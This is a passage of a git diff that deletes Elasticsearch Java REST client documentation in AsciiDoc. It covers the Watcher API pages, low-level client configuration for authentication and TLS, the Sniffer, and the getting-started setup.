-[id="{upid}-{api}-request"]
-==== Execution
-
-A watch can be activated as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the new status of the activated watch.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `watchStatus` contains status of the watch
-
-[id="{upid}-{api}-request-async"]
-==== Asynchronous execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/watcher/deactivate-watch.asciidoc b/docs/java-rest/high-level/watcher/deactivate-watch.asciidoc
deleted file mode 100644
index 3594fda984e..00000000000
--- a/docs/java-rest/high-level/watcher/deactivate-watch.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
---
-:api: deactivate-watch
-:request: deactivateWatchRequest
-:response: deactivateWatchResponse
-:doc-tests-file: {doc-tests}/WatcherDocumentationIT.java
---
-[role="xpack"]
-[[java-rest-high-watcher-deactivate-watch]]
-=== Deactivate watch API
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/watcher/delete-watch.asciidoc b/docs/java-rest/high-level/watcher/delete-watch.asciidoc
deleted file mode 100644
index 9e438bb16b5..00000000000
--- a/docs/java-rest/high-level/watcher/delete-watch.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[[java-rest-high-x-pack-watcher-delete-watch]]
-=== Delete watch API
-
-[[java-rest-high-x-pack-watcher-delete-watch-execution]]
-==== Execution
-
-A watch can be deleted as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-delete-watch-execute]
---------------------------------------------------
-
-[[java-rest-high-x-pack-watcher-delete-watch-response]]
-==== Response
-
-The returned `DeleteWatchResponse` contains `found`, `id`,
-and `version` information.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-put-watch-response]
---------------------------------------------------
-<1> `_id` contains id of the watch
-<2> `found` is a boolean indicating whether the watch was found
-<3> `_version` returns the version of the deleted watch
-
-[[java-rest-high-x-pack-watcher-delete-watch-async]]
-==== Asynchronous execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-delete-watch-execute-async]
---------------------------------------------------
-<1> The `DeleteWatchRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `DeleteWatchResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-delete-watch-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/watcher/execute-watch.asciidoc b/docs/java-rest/high-level/watcher/execute-watch.asciidoc
deleted file mode 100644
index b23b0918589..00000000000
--- a/docs/java-rest/high-level/watcher/execute-watch.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
---
-:api: execute-watch
-:request: ExecuteWatchRequest
-:response: ExecuteWatchResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Execute watch API
-
-The execute watch API allows clients to immediately execute a watch, either
-one that has been previously added via the
-{ref}/watcher-api-put-watch.html[Put Watch API] or inline as part of the request.
-
-[id="{upid}-{api}-request-by-id"]
-==== Execute by id
-
-Submit the following request to execute a previously added watch:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-execute-watch-by-id]
----------------------------------------------------
-<1> Alternative input for the watch to use in json format
-<2> Set the mode for action "action1" to SIMULATE
-<3> Record this execution in watcher history
-<4> Execute the watch regardless of the watch's condition
-<5> Set the trigger data for the watch in json format
-<6> Enable debug mode
-
-[id="{upid}-{api}-response-by-id"]
-==== Execute by id response
-
-The returned `Response` contains details of the execution:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-execute-watch-by-id-response]
----------------------------------------------------
-<1> The record ID for this execution
-<2> The execution response as a java `Map`
-<3> Extract information from the response map using `ObjectPath`
-
-[id="{upid}-{api}-response-by-id-async"]
-==== Asynchronous execution by id
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-execute-watch-by-id-execute-async]
---------------------------------------------------
-<1> The `ExecuteWatchRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `ExecuteWatchResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-execute-watch-by-id-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-
-[id="{upid}-{api}-request-inline"]
-==== Execute inline
-
-Submit the following request to execute a watch defined as part of the request:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-execute-watch-inline]
----------------------------------------------------
-<1> Alternative input for the watch to use in json format
-<2> Set the mode for action "action1" to SIMULATE
-<3> Execute the watch regardless of the watch's condition
-<4> Set the trigger data for the watch in json format
-<5> Enable debug mode
-
-Note that inline watches cannot be recorded.
-
-The response format and asynchronous execution methods are the same as for the
-Execute Watch by ID API.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/watcher/get-watch.asciidoc b/docs/java-rest/high-level/watcher/get-watch.asciidoc
deleted file mode 100644
index 540f64ca947..00000000000
--- a/docs/java-rest/high-level/watcher/get-watch.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: get-watch
-:request: GetWatchRequest
-:response: GetWatchResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get watch API
-
-[id="{upid}-{api}-request"]
-==== Execution
-
-A watch can be retrieved as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains `id`, `version`, `status` and `source`
-information.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `_id`, id of the watch
-<2> `found` is a boolean indicating whether the watch was found
-<3> `_version` returns the version of the watch
-<4> `status` contains status of the watch
-<5> `source` the source of the watch
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/watcher/put-watch.asciidoc b/docs/java-rest/high-level/watcher/put-watch.asciidoc
deleted file mode 100644
index f3ab52181f2..00000000000
--- a/docs/java-rest/high-level/watcher/put-watch.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[[java-rest-high-x-pack-watcher-put-watch]]
-=== Put watch API
-
-[[java-rest-high-x-pack-watcher-put-watch-execution]]
-==== Execution
-
-General information about the installed {watcher} features can be retrieved
-using the `watcher()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-put-watch-execute]
---------------------------------------------------
-<1> Allows to store the watch, but to not trigger it. Defaults to `true`
-
-[[java-rest-high-x-pack-watcher-put-watch-response]]
-==== Response
-
-The returned `PutWatchResponse` contains `created`, `id`,
-and `version` information.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-put-watch-response]
---------------------------------------------------
-<1> `_id` contains id of the watch
-<2> `created` is a boolean indicating whether the watch was created for the first time
-<3> `_version` returns the newly created version
-
-[[java-rest-high-x-pack-watcher-put-watch-async]]
-==== Asynchronous execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-put-watch-execute-async]
---------------------------------------------------
-<1> The `PutWatchRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `PutWatchResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/WatcherDocumentationIT.java[x-pack-put-watch-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/watcher/start-watch-service.asciidoc b/docs/java-rest/high-level/watcher/start-watch-service.asciidoc
deleted file mode 100644
index 02b439e0c6a..00000000000
--- a/docs/java-rest/high-level/watcher/start-watch-service.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
---
-:api: start-watch-service
-:request: StartWatchServiceRequest
-:response: StartWatchServiceResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start watch service API
-
-[id="{upid}-{api}-request"]
-==== Execution
-
-{ref}/watcher-api-start.html[Start watcher] enables you
-to manually start the watch service. Submit the following request
-to start the watch service:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned `AcknowledgedResponse` contains a value on whether or not the request
-was received:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A boolean value of `true` if successfully received, `false` otherwise.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/watcher/stop-watch-service.asciidoc b/docs/java-rest/high-level/watcher/stop-watch-service.asciidoc
deleted file mode 100644
index 9eeca6b2236..00000000000
--- a/docs/java-rest/high-level/watcher/stop-watch-service.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
---
-:api: stop-watch-service
-:request: StopWatchServiceRequest
-:response: StopWatchServiceResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop watch service API
-
-[[java-rest-high-watcher-stop-watch-service-execution]]
-==== Execution
-
-{ref}/watcher-api-stop.html[Stop watcher] enables you
-to manually stop the watch service. Submit the following request
-to stop the watch service:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[[java-rest-high-watcher-stop-watch-service-response]]
-==== Response
-
-The returned `AcknowledgeResponse` contains a value on whether or not the request
-was received:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A boolean value of `true` if successfully received, `false` otherwise.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/watcher/watcher-stats.asciidoc b/docs/java-rest/high-level/watcher/watcher-stats.asciidoc
deleted file mode 100644
index d0e1837c26c..00000000000
--- a/docs/java-rest/high-level/watcher/watcher-stats.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
---
-:api: watcher-stats
-:request: WatcherStatsRequest
-:response: WatcherStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Watcher stats API
-
-[id="{upid}-{api}-request"]
-==== Execution
-
-{ref}/watcher-api-stats.html[Watcher Stats] returns the current {watcher} metrics.
-Submit the following request to get the stats:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned `AcknowledgeResponse` contains a value on whether or not the request
-was received:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A boolean value of `true` if successfully received, `false` otherwise.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/index.asciidoc b/docs/java-rest/index.asciidoc
deleted file mode 100644
index 212d34f663d..00000000000
--- a/docs/java-rest/index.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-rest]]
-= Java REST Client
-
-include::../Versions.asciidoc[]
-
-include::overview.asciidoc[]
-
-include::low-level/index.asciidoc[]
-
-include::high-level/index.asciidoc[]
-
-include::redirects.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/license.asciidoc b/docs/java-rest/license.asciidoc
deleted file mode 100644
index 2ec3d151974..00000000000
--- a/docs/java-rest/license.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-== License
-
-Copyright 2013-2019 Elasticsearch
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
-
diff --git a/docs/java-rest/low-level/configuration.asciidoc b/docs/java-rest/low-level/configuration.asciidoc
deleted file mode 100644
index d368d8362f0..00000000000
--- a/docs/java-rest/low-level/configuration.asciidoc
+++ /dev/null
@@ -1,189 +0,0 @@
-[[java-rest-low-config]]
-== Common configuration
-
-As explained in <<java-rest-low-usage-initialization>>, the `RestClientBuilder`
-supports providing both a `RequestConfigCallback` and an `HttpClientConfigCallback`
-which allow for any customization that the Apache Async Http Client exposes.
-Those callbacks make it possible to modify some specific behaviour of the client
-without overriding every other default configuration that the `RestClient`
-is initialized with. This section describes some common scenarios that require
-additional configuration for the low-level Java REST Client.
-
-=== Timeouts
-
-Configuring requests timeouts can be done by providing an instance of
-`RequestConfigCallback` while building the `RestClient` through its builder.
-The interface has one method that receives an instance of
-https://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/client/config/RequestConfig.Builder.html[`org.apache.http.client.config.RequestConfig.Builder`]
- as an argument and has the same return type. The request config builder can
-be modified and then returned. In the following example we increase the
-connect timeout (defaults to 1 second) and the socket timeout (defaults to 30
-seconds).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-timeouts]
---------------------------------------------------
-
-Timeouts also can be set per request with RequestOptions, which overrides RestClient customizeRequestConfig.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-request-options-timeouts]
---------------------------------------------------
-
-=== Number of threads
-
-The Apache Http Async Client starts by default one dispatcher thread, and a
-number of worker threads used by the connection manager, as many as the number
-of locally detected processors (depending on what
-`Runtime.getRuntime().availableProcessors()` returns). The number of threads
-can be modified as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-threads]
---------------------------------------------------
-
-=== Basic authentication
-
-Configuring basic authentication can be done by providing an
-`HttpClientConfigCallback` while building the `RestClient` through its builder.
-The interface has one method that receives an instance of
-https://hc.apache.org/httpcomponents-asyncclient-dev/httpasyncclient/apidocs/org/apache/http/impl/nio/client/HttpAsyncClientBuilder.html[`org.apache.http.impl.nio.client.HttpAsyncClientBuilder`]
- as an argument and has the same return type. The http client builder can be
-modified and then returned. In the following example we set a default
-credentials provider that requires basic authentication.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-basic-auth]
---------------------------------------------------
-
-Preemptive Authentication can be disabled, which means that every request will be sent without
-authorization headers to see if it is accepted and, upon receiving an HTTP 401 response, it will
-resend the exact same request with the basic authentication header. If you wish to do this, then
-you can do so by disabling it via the `HttpAsyncClientBuilder`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-disable-preemptive-auth]
---------------------------------------------------
-<1> Disable preemptive authentication
-
-=== Other authentication methods
-
-==== Elasticsearch Token Service tokens
-
-If you want the client to authenticate with an Elasticsearch access token, set the relevant HTTP request header.
-If the client makes requests on behalf of a single user only, you can set the necessary `Authorization` header as a default header as shown
-in the following example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-auth-bearer-token]
---------------------------------------------------
-
-==== Elasticsearch API keys
-
-If you want the client to authenticate with an Elasticsearch API key, set the relevant HTTP request header.
-If the client makes requests on behalf of a single user only, you can set the necessary `Authorization` header as a default header as shown
-in the following example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-auth-api-key]
---------------------------------------------------
-
-=== Encrypted communication
-
-Encrypted communication using TLS can also be configured through the
-`HttpClientConfigCallback`. The
-https://hc.apache.org/httpcomponents-asyncclient-dev/httpasyncclient/apidocs/org/apache/http/impl/nio/client/HttpAsyncClientBuilder.html[`org.apache.http.impl.nio.client.HttpAsyncClientBuilder`]
- received as an argument exposes multiple methods to configure encrypted
- communication: `setSSLContext`, `setSSLSessionStrategy` and
- `setConnectionManager`, in order of precedence from the least important.
-
-When accessing an Elasticsearch cluster that is setup for TLS on the HTTP layer, the client needs to trust the certificate that
-Elasticsearch is using.
- The following is an example of setting up the client to trust the CA that has signed the certificate that Elasticsearch is using, when
- that CA certificate is available in a PKCS#12 keystore:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-encrypted-communication]
---------------------------------------------------
-
-The following is an example of setting up the client to trust the CA that has signed the certificate that Elasticsearch is using, when
-that CA certificate is available as a PEM encoded file.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-trust-ca-pem]
---------------------------------------------------
-
-When Elasticsearch is configured to require client TLS authentication, for example when a PKI realm is configured, the client needs to provide
-a client certificate during the TLS handshake in order to authenticate. The following is an example of setting up the client for TLS
-authentication with a certificate and a private key that are stored in a PKCS#12 keystore.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-config-mutual-tls-authentication]
---------------------------------------------------
-
-If the client certificate and key are not available in a keystore but rather as PEM encoded files, you cannot use them
-directly to build an SSLContext. You must rely on external libraries to parse the PEM key into a PrivateKey instance. Alternatively, you
-can use external tools to build a keystore from your PEM files, as shown in the following example:
-
-```
-openssl pkcs12 -export -in client.crt -inkey private_key.pem \
-        -name "client" -out client.p12
-```
-
-If no explicit configuration is provided, the https://docs.oracle.com/javase/7/docs/technotes/guides/security/jsse/JSSERefGuide.html#CustomizingStores[system default configuration]
-will be used.
-
-=== Others
-
-For any other required configuration needed, the Apache HttpAsyncClient docs
-should be consulted: https://hc.apache.org/httpcomponents-asyncclient-4.1.x/ .
-
-NOTE: If your application runs under the security manager you might be subject
-to the JVM default policies of caching positive hostname resolutions
-indefinitely and negative hostname resolutions for ten seconds.  If the resolved
-addresses of the hosts to which you are connecting the client to vary with time
-then you might want to modify the default JVM behavior. These can be modified by
-adding
-https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.ttl=<timeout>`]
-and
-https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html[`networkaddress.cache.negative.ttl=<timeout>`]
-to your
-https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html[Java
-security policy].
-
-=== Node selector
-
-The client sends each request to one of the configured nodes in round-robin
-fashion. Nodes can optionally be filtered through a node selector that needs
-to be provided when initializing the client. This is useful when sniffing is
-enabled, in case only dedicated master nodes should be hit by HTTP requests.
-For each request the client will run the eventually configured node selector
-to filter the node candidates, then select the next one in the list out of the
-remaining ones.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-allocation-aware-selector]
---------------------------------------------------
-<1> Set an allocation aware node selector that allows to pick a node in the
-local rack if any available, otherwise go to any other node in any rack. It
-acts as a preference rather than a strict requirement, given that it goes to
-another rack if none of the local nodes are available, rather than returning
-no nodes in such case which would make the client forcibly revive a local node
-whenever none of the nodes from the preferred rack is available.
-
-WARNING: Node selectors that do not consistently select the same set of nodes
-will make round-robin behaviour unpredictable and possibly unfair. The
-preference example  above is fine as it reasons about availability of nodes
-which already affects the predictability of round-robin. Node selection should
-not depend on other external factors or round-robin will not work properly.
diff --git a/docs/java-rest/low-level/index.asciidoc b/docs/java-rest/low-level/index.asciidoc
deleted file mode 100644
index 9c7b4c0c55d..00000000000
--- a/docs/java-rest/low-level/index.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[[java-rest-low]]
-= Java Low Level REST Client
-
-[partintro]
---
-
-The low-level client's features include:
-
-* minimal dependencies
-
-* load balancing across all available nodes
-
-* failover in case of node failures and upon specific response codes
-
-* failed connection penalization (whether a failed node is retried depends on
- how many consecutive times it failed; the more failed attempts the longer the
- client will wait before trying that same node again)
-
-* persistent connections
-
-* trace logging of requests and responses
-
-* optional automatic <<sniffer,discovery of cluster nodes>>
-
---
-
-:doc-tests: {elasticsearch-root}/client/rest/src/test/java/org/elasticsearch/client/documentation
-include::usage.asciidoc[]
-include::configuration.asciidoc[]
-
-:doc-tests: {elasticsearch-root}/client/sniffer/src/test/java/org/elasticsearch/client/sniff/documentation
-include::sniffer.asciidoc[]
-
-include::../license.asciidoc[]
-
-:doc-tests!:
diff --git a/docs/java-rest/low-level/sniffer.asciidoc b/docs/java-rest/low-level/sniffer.asciidoc
deleted file mode 100644
index 84f1510bae4..00000000000
--- a/docs/java-rest/low-level/sniffer.asciidoc
+++ /dev/null
@@ -1,136 +0,0 @@
-[[sniffer]]
-== Sniffer
-
-Minimal library that allows to automatically discover nodes from a running
-Elasticsearch cluster and set them to an existing `RestClient` instance.
-It retrieves by default the nodes that belong to the cluster using the
-Nodes Info api and uses jackson to parse the obtained json response.
-
-Compatible with Elasticsearch 2.x and onwards.
-
-[[java-rest-sniffer-javadoc]]
-=== Javadoc
-
-The javadoc for the REST client sniffer can be found at {rest-client-sniffer-javadoc}/index.html.
-
-=== Maven Repository
-
-The REST client sniffer is subject to the same release cycle as
-Elasticsearch. Replace the version with the desired sniffer version, first
-released with `5.0.0-alpha4`. There is no relation between the sniffer version
-and the Elasticsearch version that the client can communicate with. Sniffer
-supports fetching the nodes list from Elasticsearch 2.x and onwards.
-
-If you are looking for a SNAPSHOT version, the Elastic Maven Snapshot repository is available
-at https://snapshots.elastic.co/maven/.
-
-==== Maven configuration
-
-Here is how you can configure the dependency using maven as a dependency manager.
-Add the following to your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.elasticsearch.client</groupId>
-    <artifactId>elasticsearch-rest-client-sniffer</artifactId>
-    <version>{version}</version>
-</dependency>
---------------------------------------------------
-
-==== Gradle configuration
-
-Here is how you can configure the dependency using gradle as a dependency manager.
-Add the following to your `build.gradle` file:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-dependencies {
-    compile 'org.elasticsearch.client:elasticsearch-rest-client-sniffer:{version}'
-}
---------------------------------------------------
-
-=== Usage
-
-Once a `RestClient` instance has been created as shown in <<java-rest-low-usage-initialization>>,
-a `Sniffer` can be associated to it. The `Sniffer` will make use of the provided `RestClient`
-to periodically (every 5 minutes by default) fetch the list of current nodes from the cluster
-and update them by calling `RestClient#setNodes`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniffer-init]
---------------------------------------------------
-
-It is important to close the `Sniffer` so that its background thread gets
-properly shutdown and all of its resources are released. The `Sniffer`
-object should have the same lifecycle as the `RestClient` and get closed
-right before the client:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniffer-close]
---------------------------------------------------
-
-The `Sniffer` updates the nodes by default every 5 minutes. This interval can
-be customized by providing it (in milliseconds) as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniffer-interval]
---------------------------------------------------
-
-It is also possible to enable sniffing on failure, meaning that after each
-failure the nodes list gets updated straightaway rather than at the following
-ordinary sniffing round. In this case a `SniffOnFailureListener` needs to
-be created at first and provided at `RestClient` creation. Also once the
-`Sniffer` is later created, it needs to be associated with that same
-`SniffOnFailureListener` instance, which will be notified at each failure
-and use the `Sniffer` to perform the additional sniffing round as described.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniff-on-failure]
---------------------------------------------------
-<1> Set the failure listener to the `RestClient` instance
-<2> When sniffing on failure, not only do the nodes get updated after each
-failure, but an additional sniffing round is also scheduled sooner than usual,
-by default one minute after the failure, assuming that things will go back to
-normal and we want to detect that as soon as possible. Said interval can be
-customized  at `Sniffer` creation time through the `setSniffAfterFailureDelayMillis`
-method. Note that this last configuration parameter has no effect in case sniffing
-on failure is not enabled like explained above.
-<3> Set the `Sniffer` instance to the failure listener
-
-The Elasticsearch Nodes Info api doesn't return the protocol to use when
-connecting to the nodes but only their `host:port` key-pair, hence `http`
-is used by default. In case `https` should be used instead, the
-`ElasticsearchNodesSniffer` instance has to be manually created and provided
-as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniffer-https]
---------------------------------------------------
-
-In the same way it is also possible to customize the `sniffRequestTimeout`,
-which defaults to one second. That is the `timeout` parameter provided as a
-query string parameter when calling the Nodes Info api, so that when the
-timeout expires on the server side, a valid response is still returned
-although it may contain only a subset of the nodes that are part of the
-cluster, the ones that have responded until then.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[sniff-request-timeout]
---------------------------------------------------
-
-Also, a custom `NodesSniffer` implementation can be provided for advanced
-use cases that may require fetching the nodes from external sources rather
-than from Elasticsearch:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnifferDocumentation.java[custom-nodes-sniffer]
---------------------------------------------------
-<1> Fetch the hosts from the external source
diff --git a/docs/java-rest/low-level/usage.asciidoc b/docs/java-rest/low-level/usage.asciidoc
deleted file mode 100644
index 68b91e06d6f..00000000000
--- a/docs/java-rest/low-level/usage.asciidoc
+++ /dev/null
@@ -1,422 +0,0 @@
-[[java-rest-low-usage]]
-== Getting started
-
-This section describes how to get started with the low-level REST client from
-getting the artifact to using it in an application.
-
-[[java-rest-low-javadoc]]
-=== Javadoc
-
-The javadoc for the low level REST client can be found at {rest-client-javadoc}/index.html.
-
-[[java-rest-low-usage-maven]]
-=== Maven Repository
-
-The low-level Java REST client is hosted on
-https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.elasticsearch.client%22[Maven
-Central]. The minimum Java version required is `1.8`.
-
-The low-level REST client is subject to the same release cycle as
-Elasticsearch. Replace the version with the desired client version, first
-released with `5.0.0-alpha4`. There is no relation between the client version
-and the Elasticsearch version that the client can communicate with. The
-low-level REST client is compatible with all Elasticsearch versions.
-
-If you are looking for a SNAPSHOT version, the Elastic Maven Snapshot repository is available
-at https://snapshots.elastic.co/maven/.
-
-[[java-rest-low-usage-maven-maven]]
-==== Maven configuration
-
-Here is how you can configure the dependency using maven as a dependency manager.
-Add the following to your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.elasticsearch.client</groupId>
-    <artifactId>elasticsearch-rest-client</artifactId>
-    <version>{version}</version>
-</dependency>
---------------------------------------------------
-
-[[java-rest-low-usage-maven-gradle]]
-==== Gradle configuration
-
-Here is how you can configure the dependency using gradle as a dependency manager.
-Add the following to your `build.gradle` file:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-dependencies {
-    compile 'org.elasticsearch.client:elasticsearch-rest-client:{version}'
-}
---------------------------------------------------
-
-[[java-rest-low-usage-dependencies]]
-=== Dependencies
-
-The low-level Java REST client internally uses the
-https://hc.apache.org/httpcomponents-asyncclient-dev/[Apache Http Async Client]
- to send http requests. It depends on the following artifacts, namely the async
- http client and its own transitive dependencies:
-
-- org.apache.httpcomponents:httpasyncclient
-- org.apache.httpcomponents:httpcore-nio
